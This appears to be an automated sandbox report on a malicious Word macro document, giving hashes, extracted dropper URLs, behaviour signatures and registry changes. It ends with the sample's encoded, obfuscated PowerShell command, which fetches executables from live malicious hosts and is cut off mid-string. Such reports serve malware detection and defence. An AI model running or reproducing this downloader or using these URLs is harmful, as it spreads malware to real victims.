7b556613e2f814670e721619781c1327dc6982655beef492a03e8b5449b7782b

General

Target

7b556613e2f814670e721619781c1327dc6982655beef492a03e8b5449b7782b.doc
Size

180KB
MD5

bf448dd849e38068072e7f242e59a387
SHA1

e70fca9132fd8b82a6409c2cb40b34062634f5e2
SHA256

7b556613e2f814670e721619781c1327dc6982655beef492a03e8b5449b7782b
SHA512

08091b6ee72fb42effb51f72be934dd8f4ca7e01f8c54ef4af12f6437ccfe8a006407d93e4c7240f9dda3bf1a0cda2349329bf2739c89b5bcc6f0575d2482a96

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://animzzz.net/wp-content/I_0f/

exe.dropper

http://apnaoasis.com/wp-content/Y3_iT/

exe.dropper

http://acsboda.com/wp-includes/yn_gp/

exe.dropper

http://congchung.isocial.vn/img/6S_yF/

exe.dropper

http://www.axasta.com/wp-content/T8_Fp/

Signatures

Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.

Processes:

powershell.exe

description pid pid_target process target process

Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 396 1532 powershell.exe
Blocklisted process makes network request 2 IoCs

Processes:

powershell.exe

flow pid process

7 396 powershell.exe
8 396 powershell.exe

description	pid	pid_target	process	target process
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	396	1532	powershell.exe

flow	pid	process
7	396	powershell.exe
8	396	powershell.exe

Drops file in System32 directory 1 IoCs

Processes:

powershell.exe

description	ioc	process
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Drops file in Windows directory 1 IoCs

Processes:

WINWORD.EXE

description ioc process

File opened for modification C:\Windows\Debug\WIA\wiatrace.log WINWORD.EXE
Office loads VBA resources, possible macro or embedded object present

description	ioc	process
File opened for modification	C:\Windows\Debug\WIA\wiatrace.log	WINWORD.EXE

Modifies Internet Explorer settings 1 TTPs 31 IoCs

adware spyware

Modify Registry

T1112

Processes:

WINWORD.EXE

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000\Software\Microsoft\Internet Explorer\Toolbar	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote	WINWORD.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\COMMAND	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000\Software\Microsoft\Internet Explorer\Toolbar\ShowDiscussionButton = "Yes"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\EXCEL.EXE/3000"	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit	WINWORD.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000	WINWORD.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\Contexts = "1"	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell	WINWORD.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000	WINWORD.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\command	WINWORD.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\ONBttnIE.dll/105"	WINWORD.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\Contexts = "55"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel	WINWORD.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell	WINWORD.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\ = "&Edit"	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000\Software\Microsoft\Internet Explorer\MenuExt	WINWORD.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit	WINWORD.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\COMMAND	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\""	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\""	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\ = "&Edit"	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\command	WINWORD.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor	WINWORD.EXE

Modifies registry class 64 IoCs

Processes:

WINWORD.EXE

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000_CLASSES\Interface\{796ED650-5FE9-11CF-8D68-00AA00BDCE1D}	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\WinWord.exe	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000_CLASSES\Interface\{9A4BBF53-4E46-101B-8BBD-00AA003E3B29}\ = "ControlEvents"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000_CLASSES\Wow6432Node\Interface\{5512D125-5CC6-11CF-8D67-00AA00BDCE1D}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000_CLASSES\Interface\{8BD21D32-EC42-11CE-9E0D-00AA006002F3}\ = "MdcComboEvents"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000_CLASSES\Interface\{8BD21D43-EC42-11CE-9E0D-00AA006002F3}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000_CLASSES\Interface\{8BD21D62-EC42-11CE-9E0D-00AA006002F3}	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Print\command	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000_CLASSES\Wow6432Node\Interface\{EC72F590-F375-11CE-B9E8-00AA006B1A69}\ = "IDataAutoWrapper"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000_CLASSES\Wow6432Node\Interface\{7B020EC1-AF6C-11CE-9F46-00AA00574A4F}\ = "CommandButtonEvents"	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\ddeexec\topic\ = "system"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000_CLASSES\Wow6432Node\Interface\{8BD21D53-EC42-11CE-9E0D-00AA006002F3}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000_CLASSES\Interface\{5512D123-5CC6-11CF-8D67-00AA00BDCE1D}\ = "IWHTMLSelect"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000_CLASSES\Interface\{8BD21D52-EC42-11CE-9E0D-00AA006002F3}\ = "MdcOptionButtonEvents"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000_CLASSES\Wow6432Node\Interface\{7B020EC2-AF6C-11CE-9F46-00AA00574A4F}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000_CLASSES\Interface\{5CEF5613-713D-11CE-80C9-00AA00611080}\ = "IPage"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000_CLASSES\Interface\{04598FC9-866C-11CF-AB7C-00AA00C08FCF}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000_CLASSES\Interface\{04598FC9-866C-11CF-AB7C-00AA00C08FCF}\ = "IMultiPage"	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Print\ = "&Print"	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Word	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Word\shell\edit\ = "&Open"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000_CLASSES\Wow6432Node\Interface\{8A683C90-BA84-11CF-8110-00A0C9030074}	WINWORD.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0045005800430045004c00460069006c00650073003e00560069006a00710042006f006600280059003800270077002100460049006400310067004c00510020002f0064006400650000000000	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000_CLASSES\Wow6432Node\Interface\{8A683C91-BA84-11CF-8110-00A0C9030074}\ = "IReturnEffect"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000_CLASSES\Wow6432Node\Interface\{8BD21D12-EC42-11CE-9E0D-00AA006002F3}\ = "MdcTextEvents"	WINWORD.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0045005800430045004c00460069006c00650073003e00560069006a00710042006f006600280059003800270077002100460049006400310067004c00510020002f0064006400650000000000	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000_CLASSES\Interface\{7B020EC8-AF6C-11CE-9F46-00AA00574A4F}	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Print	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000_CLASSES\Wow6432Node\Interface\{5512D111-5CC6-11CF-8D67-00AA00BDCE1D}\ = "IWHTMLSubmitButton"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000_CLASSES\Wow6432Node\Interface\{4C599243-6926-101B-9992-00000B65C6F9}	WINWORD.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0045005800430045004c00460069006c00650073003e00560069006a00710042006f006600280059003800270077002100460049006400310067004c00510020002f0064006400650000000000	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Word\shell\edit\ = "&Open"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000_CLASSES\Wow6432Node\Interface	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000_CLASSES\Wow6432Node\Interface\{04598FC8-866C-11CF-AB7C-00AA00C08FCF}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000_CLASSES\Wow6432Node\Interface\{8BD21D13-EC42-11CE-9E0D-00AA006002F3}	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shellex\IconHandler\ = "{42042206-2D85-11D3-8CFF-005004838597}"	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Word\shell\edit	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000_CLASSES\Wow6432Node\Interface\{BEF6E003-A874-101A-8BBA-00AA00300CAB}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000_CLASSES\Wow6432Node\Interface\{5512D119-5CC6-11CF-8D67-00AA00BDCE1D}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000_CLASSES\Interface\{8BD21D22-EC42-11CE-9E0D-00AA006002F3}	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\command	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000_CLASSES\Interface\{04598FC1-866C-11CF-AB7C-00AA00C08FCF}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000_CLASSES\Wow6432Node\Interface\{5512D113-5CC6-11CF-8D67-00AA00BDCE1D}\ = "IWHTMLImage"	WINWORD.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\MSPub.exe\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b005000750062005000720069006d006100720079003e00520024006e0075006a0053005700460065003f007d0061004c00720052007000390078004000570020002500310000000000	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Print\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\msohtmed.exe\" /p %1"	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\EXCEL.EXE\" /dde"	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{A7DBC1D6-A69F-4111-8234-4788548C9012}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000_CLASSES\Wow6432Node\Interface\{5512D115-5CC6-11CF-8D67-00AA00BDCE1D}\ = "IWHTMLReset"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000_CLASSES\Wow6432Node\Interface\{8BD21D62-EC42-11CE-9E0D-00AA006002F3}\ = "MdcToggleButtonEvents"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000_CLASSES\Interface\{47FF8FE4-6198-11CF-8CE8-00AA006CB389}\ = "WHTMLControlEvents5"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000_CLASSES\Interface\{92E11A03-7358-11CE-80CB-00AA00611080}\ = "Pages"	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000_CLASSES\Wow6432Node\Interface\{04598FC4-866C-11CF-AB7C-00AA00C08FCF}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000_CLASSES\Wow6432Node\Interface\{8BD21D22-EC42-11CE-9E0D-00AA006002F3}	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\ = "&Open"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000_CLASSES\Interface\{82B02372-B5BC-11CF-810F-00A0C9030074}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000_CLASSES\Wow6432Node\Interface\{9A4BBF53-4E46-101B-8BBD-00AA003E3B29}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000_CLASSES\Wow6432Node\Interface\{8BD21D62-EC42-11CE-9E0D-00AA006002F3}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000_CLASSES\Wow6432Node\Interface\{4C5992A5-6926-101B-9992-00000B65C6F9}\ = "ImageEvents"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000_CLASSES\Wow6432Node\Interface\{92E11A03-7358-11CE-80CB-00AA00611080}\ = "Pages"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000_CLASSES\Wow6432Node\Interface\{8BD21D43-EC42-11CE-9E0D-00AA006002F3}\ = "IMdcCheckBox"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000_CLASSES\Wow6432Node\Interface\{8BD21D63-EC42-11CE-9E0D-00AA006002F3}\ = "IMdcToggleButton"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000_CLASSES\Interface\{5512D117-5CC6-11CF-8D67-00AA00BDCE1D}\ = "IWHTMLCheckbox"	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

WINWORD.EXE

pid process

1580 WINWORD.EXE
Suspicious behavior: EnumeratesProcesses 1 IoCs

Processes:

powershell.exe

pid process

396 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 396 powershell.exe
Suspicious use of SetWindowsHookEx 2 IoCs

Processes:

WINWORD.EXE

pid process

1580 WINWORD.EXE
1580 WINWORD.EXE

pid	process
1580	WINWORD.EXE

pid	process
396	powershell.exe

description	pid	process
Token: SeDebugPrivilege	396	powershell.exe

pid	process
1580	WINWORD.EXE
1580	WINWORD.EXE

Suspicious use of WriteProcessMemory 4 IoCs

Processes:

WINWORD.EXE

description	pid	process	target process
PID 1580 wrote to memory of 892	1580	WINWORD.EXE	splwow64.exe
PID 1580 wrote to memory of 892	1580	WINWORD.EXE	splwow64.exe
PID 1580 wrote to memory of 892	1580	WINWORD.EXE	splwow64.exe
PID 1580 wrote to memory of 892	1580	WINWORD.EXE	splwow64.exe

C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\7b556613e2f814670e721619781c1327dc6982655beef492a03e8b5449b7782b.doc"
1⤵
- Drops file in Windows directory
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1580

C:\Windows\splwow64.exe
C:\Windows\splwow64.exe 12288
2⤵
PID:892

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -e JABoAFoAXwBjAEEAQQA9ACgAIgB7ADAAfQB7ADIAfQB7ADEAfQAiACAALQBmACAAJwBIAEEAVQAnACwAJwBCADEAJwAsACcAQQBBAEEAJwApADsAJABqAFgAQQBDAFEAVQBfACAAPQAgACcAMQAwADMAJwA7ACQAVwA0AEEAQQBjAEEAPQAoACIAewAxAH0AewAyAH0AewAwAH0AIgAgAC0AZgAgACcANAAnACwAJwBuACcALAAoACIAewAwAH0AewAxAH0AIgAgAC0AZgAnADQAQgAnACwAJwBvAEEAVQAnACkAKQA7ACQAZgBaAFUAQQBBAGsAQQBaAD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACcAXAAnACsAJABqAFgAQQBDAFEAVQBfACsAKAAiAHsAMAB9AHsAMQB9ACIAIAAtAGYAJwAuAGUAeAAnACwAJwBlACcAKQA7ACQARwBRAFUAQgBrAFgAMQA9ACgAIgB7ADAAfQB7ADIAfQB7ADEAfQAiACAALQBmACAAJwBHACcALAAnAEQAJwAsACgAIgB7ADAAfQB7ADEAfQAiACAALQBmACcAQQBBAFoAJwAsACcARwBBACcAKQApADsAJABvAFoAQQBBAHgAQgBBAFUAPQAuACgAJwBuAGUAdwAnACsAJwAtAG8AJwArACcAYgBqAGUAYwB0ACcAKQAgAE4AYABlAFQALgBgAFcARQBCAEMATABpAEUAYABOAHQAOwAkAGYAeAB3AFoAQQBVAEEAYwA9ACgAIgB7ADIANQB9AHsAMQB9AHsAOAB9AHsANAAzAH0AewAxADgAfQB7ADMAOQB9AHsAOQB9AHsAMwB9AHsAMQA5AH0AewAyADQAfQB7ADIAMAB9AHsAMAB9AHsAMwAzAH0AewAxADUAfQB7ADUAfQB7ADQANwB9AHsANAA4AH0AewA0ADEAfQB7ADEANwB9AHsAMQAxAH0AewAyADMAfQB7ADIAMgB9AHsAMQA2AH0AewA3AH0AewA2AH0AewAyADEAfQB7ADMAMgB9AHsAMQAyAH0AewAyADYAfQB7ADQANAB9AHsAMQAzAH0AewAzADgAfQB7ADIANwB9AHsAMgA4AH0AewA1ADAAfQB7ADMANgB9AHsANAAyAH0AewAzADQAfQB7ADQANgB9AHsAMgB9AHsANAAwAH0AewAxADQAfQB7ADQAOQB9AHsANAA1AH0AewAzADEAfQB7ADEAMAB9AHsAMgA5AH0AewAzADcAfQB7ADMAMAB9AHsANAB9AHsAMwA1AH0AIgAtAGYAIAAoACIAewAxAH0AewAyAH0AewAwAH0AIgAtAGYAKAAiAHsAMQB9AHsAMAB9ACIAIAAtAGYAJwB0AHQAcAA6ACcALAAnAEAAaAAnACkALAAnADAAJwAsACcAZgAvACcAKQAsACcAYQAnACwAKAAiAHsAMgB9AHsAMAB9AHsAMQB9ACIALQBmACAAJwBzAG8AYwAnACwAJwBpAGEAJwAsACgAIgB7ADIAfQB7ADAAfQB7ADEAfQAiACAALQBmACAAJwB1ACcALAAnAG4AZwAuAGkAJwAsACcAYwBoACcAKQApACwAJwBwACcALAAnAGUAbgAnACwAJwBvAGEAJwAsACcALwAnACwAKAAiAHsAMQB9AHsAMAB9ACIALQBmACcAZQBuAHQAJwAsACcAdAAnACkALAAnAG4AJwAsACgAIgB7ADEAfQB7ADAAfQAiACAALQBmACAAKAAiAHsAMQB9AHsAMAB9ACIALQBmACcAdAAvAHcAJwAsACcAZQAnACkALAAnAC4AbgAnACkALAAoACIAewAxAH0AewAwAH0AIgAtAGYAJwBjAG8AJwAsACcAYQAuACcAKQAsACcAdwBwACcALAAnAHQAJwAsACgAIgB7ADAAfQB7ADEAfQAiAC0AZgAgACcALwAvAGEAJwAsACgAIgB7ADAAfQB7ADEAfQAiACAALQBmACcAYwBzAGIAJwAsACcAbwAnACkAKQAsACgAIgB7ADEAfQB7ADIAfQB7ADAAfQAiACAALQBmACAAKAAiAHsAMgB9AHsAMQB9AHsAMAB9ACIALQBmACAAJwBAAGgAdAAnACwAJwBGAC8AJwAsACcAUwBfAHkAJwApACwAJwAvACcALAAnADYAJwApACwAJwBwAG4AYQAnACwAJwBuACcALAAnAG0ALwAnACwAJwB6ACcALAAoACIAewAxAH0AewAwAH0AIgAtAGYAJwB0ACcALAAoACIAewAwAH0AewAxAH0AIgAtAGYAIAAnAC0AYwBvACcALAAnAG4AJwApACkALAAoACIAewAxAH0AewAwAH0AIgAgAC0AZgAgACcALwBJAF8AJwAsACcAdAAnACkALAAnAFkAJwAsACcAYwBvACcALAAnAC0AJwAsACcAZQBuACcALAAoACIAewAxAH0AewAwAH0AIgAtAGYAJwAvACcALAAoACIAewAxAH0AewAwAH0AIgAgAC0AZgAgACcAdAB0AHAAOgAvACcALAAnAGgAJwApACkALAAnAHAAJwAsACcAYwAnACwAJwBsACcALAAoACIAewAwAH0AewAxAH0AIgAtAGYAJwBtAC8AdwAnACwAJwBwAC0AYwAnACkALAAnAG4AdAAnACwAJwB0ACcALAAoACIAewAyAH0AewAxAH0AewAwAH0AIgAgAC0AZgAgACcAdAAnACwAKAAiAHsAMQB9AHsAMAB9ACIALQBmACcAQABoACcALAAnAFQALwAnACkALAAnADMAXwBpACcAKQAsACcALwAvAGEAJwAsACgAIgB7ADAAfQB7ADIAfQB7ADEAfQAiAC0AZgAoACIAewAyAH0AewAxAH0AewAwAH0AIgAtAGYAIAAnAGgAdAAnACwAJwBwAC8AQAAnACwAJwBnACcAKQAsACcAOgAnACwAJwB0AHAAJwApACwAKAAiAHsAMAB9AHsAMgB9AHsAMQB9ACIAIAAtAGYAKAAiAHsAMQB9AHsAMAB9ACIALQBmACcALwBUADgAXwAnACwAJwB0ACcAKQAsACcAcAAvACcALAAnAEYAJwApACwAKAAiAHsAMQB9AHsAMAB9AHsAMgB9ACIAIAAtAGYAIAAnAGUAcwAvACcALAAnAGQAJwAsACcAeQBuACcAKQAsACcAbwAnACwAKAAiAHsAMwB9AHsAMgB9AHsAMQB9AHsAMAB9ACIAIAAtAGYAKAAiAHsAMAB9AHsAMQB9ACIALQBmACcAdwBwAC0AaQAnACwAJwBuACcAKQAsACcAbQAvACcALAAnAGMAbwAnACwAJwBkAGEALgAnACkALAAnAHoAegAnACwAKAAiAHsAMAB9AHsAMQB9ACIAIAAtAGYAIAAnAGwALgAnACwAKAAiAHsAMgB9AHsAMAB9AHsAMQB9ACIAIAAtAGYAIAAnAG4ALwAnACwAJwBpAG0AZwAnACwAJwB2ACcAKQApACwAJwBjAG8AJwAsACcAXwAnACwAJwBpAG0AJwAsACcAOgAnACwAKAAiAHsAMAB9AHsAMQB9ACIALQBmACcAYQB4ACcALAAnAGEAcwAnACkALAAoACIAewAwAH0AewAxAH0AIgAtAGYAKAAiAHsAMQB9AHsAMAB9ACIAIAAtAGYAJwBvAG4AJwAsACcALwAvAGMAJwApACwAJwBnACcAKQAsACcAcwAnACwAJwBpAHMALgAnACwAKAAiAHsAMAB9AHsAMQB9ACIALQBmACgAIgB7ADAAfQB7ADEAfQAiAC0AZgAgACcAdABwADoALwAvACcALAAnAHcAdwAnACkALAAnAHcALgAnACkALAAnAHUAJwApAC4AIgBzAFAATABgAEkAdAAiACgAJwBAACcAKQA7ACQAVQBVAHcAWgBRADEAQQA9ACgAIgB7ADAAfQB7ADEAfQAiAC0AZgAoACIAewAxAH0AewAwAH0AIgAtAGYAJwBCACcALAAnAGMAQQB3ACcAKQAsACcAQgBfACcAKQA7AGYAbwByAGUAYQBjAGgAKAAkAGYAQQBCAGsAMQBBAEEANAAgAGkAbgAgACQAZgB4AHcAWgBBAFUAQQBjACkAewB0AHIAeQB7ACQAbwBaAEEAQQB4AEIAQQBVAC4AIgBkAE8AVwBuAGAATABgAG8AYQBEAGAARgBpAGwARQAiACgAJABmAEEAQgBrADEAQQBBADQALAAgACQAZgBaAFUAQQBBAGsAQQB